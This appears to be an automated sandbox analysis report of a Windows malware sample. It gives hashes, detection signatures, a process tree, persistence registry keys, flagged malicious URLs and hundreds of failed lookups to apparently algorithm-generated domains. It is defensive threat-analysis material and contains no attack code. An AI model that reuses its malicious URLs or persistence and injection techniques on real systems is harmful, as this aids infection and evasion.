Edit tour

Windows Analysis Report
NpHauDPoR8.exe

Overview

General Information

Sample name:	NpHauDPoR8.exe renamed because original name is a hash value
Original sample name:	fb2282442b6fbc8f1e2246925f52ab17c32fae910d2ac6d79a1dc705f7e42191.exe
Analysis ID:	1584385
MD5:	6327443864311678c76c9738d91d6ef9
SHA1:	78e345561adbf87d6c721fab6fbed0079fafeee3
SHA256:	fb2282442b6fbc8f1e2246925f52ab17c32fae910d2ac6d79a1dc705f7e42191
Tags:	exeuser-zhuzhu0009
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

AI detected suspicious sample

Allocates memory in foreign processes

Changes security center settings (notifications, updates, antivirus, firewall)

Creates a Image File Execution Options (IFEO) Debugger entry

Creates an undocumented autostart registry key

Drops executables to the windows directory (C:\Windows) and starts them

Injects code into the Windows Explorer (explorer.exe)

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies the hosts file

Modifies windows update settings

Tries to resolve many domain names, but no domain seems valid

Writes to foreign memory regions

Changes image file execution options

Connects to many different domains

Contains functionality to call native functions

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to dynamically determine API calls

Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)

Contains functionality to read the PEB

Contains functionality to shutdown / reboot the system

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Executes massive DNS lookups (> 100)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found decision node followed by non-executed suspicious APIs

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found large amount of non-executed APIs

Found no execution coverage

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

Sigma detected: Common Autorun Keys Modification

Sigma detected: CurrentVersion NT Autorun Keys Modification

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Classification

Process Tree

System is w10x64

NpHauDPoR8.exe (PID: 7328 cmdline: "C:\Users\user\Desktop\NpHauDPoR8.exe" MD5: 6327443864311678C76C9738D91D6EF9)

rmass.exe (PID: 7344 cmdline: "C:\Windows\system32\rmass.exe" MD5: 6327443864311678C76C9738D91D6EF9)

rmass.exe (PID: 7364 cmdline: --k33p MD5: 6327443864311678C76C9738D91D6EF9)

winlogon.exe (PID: 552 cmdline: winlogon.exe MD5: F8B41A1B3E569E7E6F990567F21DCE97)

explorer.exe (PID: 2580 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)

cleanup

Sigma Signatures

Sigma detected: Common Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split), wagga (name): Data: Details: a, EventID: 13, EventType: SetValue, Image: C:\Windows\SysWOW64\rmass.exe, ProcessId: 7344, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{33303234-3934-3330-3234-393433303234}\01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567

Sigma detected: CurrentVersion NT Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: a, EventID: 13, EventType: SetValue, Image: C:\Windows\SysWOW64\rmass.exe, ProcessId: 7344, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe\01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567

Sigma detected: Modification of IE Registry Settings

Source: Registry Key set

Author: frack113: Data: Details: C5 69 A1 E8 56 5F DB 01 F4 D8 AB 33 00 00 00 00 2E 00 , EventID: 13, EventType: SetValue, Image: C:\Windows\SysWOW64\rmass.exe, ProcessId: 7344, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy\Default Flags

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: NpHauDPoR8.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://ckgudj.tk/nnectionSettings	Avira URL Cloud: Label: malware
Source: http://rxcomqytho.tk/p	Avira URL Cloud: Label: malware
Source: http://rxcomqytho.tk/ectionSettings	Avira URL Cloud: Label: malware
Source: http://xwfqkjefa.museum/	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Windows\SysWOW64\rmass.exe	Avira: detection malicious, Label: TR/Drop.Age.apd.1.E
Source: C:\Windows\SysWOW64\ntdbg.exe	Avira: detection malicious, Label: TR/Drop.Age.apd.1.E
Source: C:\Users\user\AppData\Roaming\tmpE02.tmp	Avira: detection malicious, Label: TR/Drop.Age.apd.1.E
Source: C:\Windows\SysWOW64\ahuy.exe	Avira: detection malicious, Label: TR/Drop.Age.apd.1.E

Multi AV Scanner detection for dropped file

Source: C:\Windows\SysWOW64\RECOVER32.DLL	ReversingLabs: Detection: 47%
Source: C:\Windows\SysWOW64\rmass.exe	ReversingLabs: Detection: 92%

Multi AV Scanner detection for submitted file

Source: NpHauDPoR8.exe	ReversingLabs: Detection: 92%
Source: NpHauDPoR8.exe	Virustotal: Detection: 84%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Windows\SysWOW64\rmass.exe	Joe Sandbox ML: detected
Source: C:\Windows\SysWOW64\ntdbg.exe	Joe Sandbox ML: detected
Source: C:\Windows\SysWOW64\ahuy.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: NpHauDPoR8.exe

Joe Sandbox ML: detected

Source: NpHauDPoR8.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED

Networking

Tries to resolve many domain names, but no domain seems valid

Source: unknown	DNS traffic detected: query: okuexwgymciw.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: uistaqeeb.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: bcuiiixkpygtqa.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gbkymuj.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: xovsresoi.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wkslbua.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: oembqeydq.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mueir.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: illicso.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wxcqodg.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cwkzvvi.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: logcwiabk.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: jqkjllx.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: eagamgnhivs.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gbbey.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: uyhmsiswo.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: yggoofcgkam.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: uyasdri.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: okdiw.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: npdwtip.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wiszqdiksmqucq.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: amsiiizuhgb.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kdywwgpev.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: fnmpk.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gsztaq.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: owesacumdcaa.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: jaywcllelfscm.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: moktawaamewo.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: islnimwrkuw.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qasgycqp.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: muuqeszkbzyvc.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: yqnsc.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: siabzsmu.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gvqle.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: erendacm.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: umgscarsq.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: seuicsinj.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: hxdrsskgeycit.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: zyasveifqoc.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: monkkutsqof.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: uoqeyvc.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wcoymojgkvoq.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ygrdwaz.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kulna.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wiqicmuya.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gjgps.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mcloueaqw.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: dxfqrqrscyyiyb.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: myuklgdq.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kqoqgeuukaj.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: knykdukye.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: sfessoxrcqrpo.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: emyenboazaevg.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: jwwwlfs.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: eimway.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cwolcmj.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wqujptmvk.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: sglfsgf.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cymwkunu.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: tkarbo.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ugmgkdoiyi.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nrcwikf.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: fbcze.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: unmomis.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ipwpkubamvqgh.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kissyuj.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qsqfo.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ciejid.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: oxuamhgwomyql.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ckcmcxkbaojqt.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: coeonpsesopck.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: docscsgcgis.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: hucunewyac.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ffwuiyk.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: sssagqpgq.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kvaqewnz.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: agiaofa.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kkxwhumceoe.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: hiwgyyiarus.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pysemq.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: moogrlkkiz.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vuiykecqutjik.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: reugd.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cuiknmusqatjr.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: dwmbb.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: yowfygxup.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: fzmoqmhyzgwby.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: swaxqayolcq.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cmyvciqxpys.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pkpfwssxq.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ycmeufomwa.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: yugny.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: uuxroicgmfccs.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cflwomgkiywsd.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ikwzrcu.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: oussi.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: crwpssiwwym.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qyrcizm.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qyrykvs.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ifsngrccqie.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: esfkk.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pdijvoi.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wgsorqygs.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: urwweldkbjesn.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: keyoieyaauo.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cgaaw.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gskxhonuuig.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ubielmdhiea.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: uuwgyseoojlsin.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: sfusuj.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pyqjwzcg.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: umcawrx.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: muilsaopx.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mkedkcayjfxgb.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ccudqajgazo.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: blryaicmkgbqv.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mkudp.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: uswduhjam.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: sxhawy.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: muexcwzji.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mugguqyebm.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: guvmy.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ogaywmfoo.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wiqkrwokjwsvk.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wxoqukaoenpp.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lgabfmbedcmat.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: isfusus-omoab.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kujooeda.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: njsdvidszlt.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: zquxf.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: etgpwavdy.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: coaccvbciv.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lbipfgl.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qauzomtcasm.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vcgxj.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qxlcjyk.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: digeyxe.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: xdgwlthsnfudy.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: fwdvoccscqsdn.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smnam.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cqsirosqhjosvg.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: xpyodicoino.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: beknnqtuzny.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: uzwnaownuu.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: rfnqowosjdyywe.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ukgyw.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qojuhafm.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ssgcl.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wzjzekb.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: peofsgzewa.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kqqrwe.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: fmslnmq.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vvmamxwaowu.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kaktcmu.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: uowug.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: yvgaoygyg.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: fsifaecvb.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gketc.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qyzmmqlgp.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: iripzvqcf.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: geqtkjeem.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ameiooxomkd.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ydeom.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: oqryiicdajaf.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: iqqsyypiw.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qkxiogyhafi.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: moiwoqocgea.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: twksqismr.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: crzmg.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: uycxakowsy.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: aiueaxvqy.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: uvmwhweac.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: tsqemjsjkmz.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: hezceuiftke.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: dawsopnarqaej.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wkbiscm.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mfcyameasebv.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ugccalznre.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ekiymuyr.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gkgejebqwmtqg.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: agrgign.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: jryck.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: sqcbew.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ykcpkaie.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: tgyqmynssmcag.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: sugzfsbm.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vwgia.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: zxzcgj.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cigmuci.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: fgewqtckc.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ywpacqi.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: oqcckacuwbt.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: hleyamhkjygwow.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mgsufsmmbq.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: oaqscmiai.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: yeshwlbymquav.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: iqyjfsacgai.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: iilazc.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: szlieifwgwokcs.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: aaywjhsma.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: zpkoowu.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: yesjo.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: xqlha.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vryqggeolakqz.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ietwickcse.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ailab.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wsuqlgdemodac.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: aekcsa.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: rammwsc.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: sevixiextecu.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: eqhuyuws.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: zucmeoisy.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: juwsqwrkyaw.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ekvubzmcz.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ioxiokj.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: uwcoo.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: uiuceavzotuik.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pmkswxeseyzkg.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: fwajtywgq.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ooimawkmugi.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: iiesqoydgho.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: oziwqnhqwulqm.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ewqip.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cpjcukm.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: xzwsa.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ebgsulu.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: zfsaiskr.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: rgyipscsoc.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gqvpmamcaek.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ebcnudttm.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: duxgekeesugx.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ibiejygsl.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ioiucynzuxpi.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: efwqk.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gyruzeynroqo.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: yqufyzcii.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: aekkzsosqiwcw.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wsfiswi.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: micycyca.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wauvbchrfkw.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: rogexncokusyud.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gomzzwswgg.mp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: oivgkqkubfq.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: geefk.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: rpygp.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: jiqysnxmk.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mqwosccs.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qyouhmowxf.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: zkizeua.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: iizkbggrq.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ocyseln.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ycbwawsnkag.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cemyvpo.tk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wsulwboaggoyw.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ynaucmukkszgjz.nu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ygxfooxo.st replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: bcoig.cd replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: sqsooyqhc.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ykowukqk.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gpslyucvigokt.museum replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: picyeqabm.pw replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vkiesfos.nu replaycode: Name error (3)
